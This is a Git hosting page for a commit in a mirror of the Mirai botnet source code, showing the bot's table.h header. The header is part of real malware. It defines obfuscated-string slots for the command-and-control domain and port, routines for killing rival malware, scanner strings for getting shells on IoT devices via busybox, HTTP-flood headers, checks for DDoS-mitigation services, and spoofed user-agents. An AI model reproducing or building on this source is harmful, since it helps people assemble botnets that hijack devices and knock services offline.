mirrors/Mirai-Source-Code
1
0
Fork 0
mirror of https://github.com/jgamblin/Mirai-Source-Code synced 2025-11-03 17:13:06 +00:00
Code Issues Releases Wiki Activity

Trying to Shrink Size

Browse Source
This commit is contained in:
Jerry Gamblin
2016-10-25 06:08:01 -05:00
commit 9779d43964
77 changed files with 12237 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

84
mirai/bot/table.h Executable file
View File

@@ -0,0 +1,84 @@
#pragma once
#include <stdint.h>
#include "includes.h"
struct table_value {
char *val;
uint16_t val_len;
#ifdef DEBUG
BOOL locked;
#endif
};
/* Generic bot info */
#define TABLE_PROCESS_ARGV 1
#define TABLE_EXEC_SUCCESS 2
#define TABLE_CNC_DOMAIN 3
#define TABLE_CNC_PORT 4
/* Killer data */
#define TABLE_KILLER_SAFE 5
#define TABLE_KILLER_PROC 6
#define TABLE_KILLER_EXE 7
#define TABLE_KILLER_DELETED 8 /* " (deleted)" */
#define TABLE_KILLER_FD 9 /* "/fd" */
#define TABLE_KILLER_ANIME 10 /* .anime */
#define TABLE_KILLER_STATUS 11
#define TABLE_MEM_QBOT 12
#define TABLE_MEM_QBOT2 13
#define TABLE_MEM_QBOT3 14
#define TABLE_MEM_UPX 15
#define TABLE_MEM_ZOLLARD 16
#define TABLE_MEM_REMAITEN 17
/* Scanner data */
#define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */
#define TABLE_SCAN_CB_PORT 19 /* Port to connect to */
#define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */
#define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */
#define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */
#define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */
#define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */
#define TABLE_SCAN_RESP 25 /* utf8 version of query string */
#define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */
#define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */
#define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */
/* Attack strings */
#define TABLE_ATK_VSE 29 /* TSource Engine Query */
#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
#define TABLE_ATK_NSERV 31 /* "nameserver " */
#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
#define TABLE_ATK_LOCATION_HDR 38 // "location:"
#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
#define TABLE_ATK_CHUNKED 42 // "chunked"
#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
/* User agent strings */
#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */
#define TABLE_MAX_KEYS 52 /* Highest value + 1 */
void table_init(void);
void table_unlock_val(uint8_t);
void table_lock_val(uint8_t);
char *table_retrieve_val(int, int *);
static void add_entry(uint8_t, char *, int);
static void toggle_obf(uint8_t);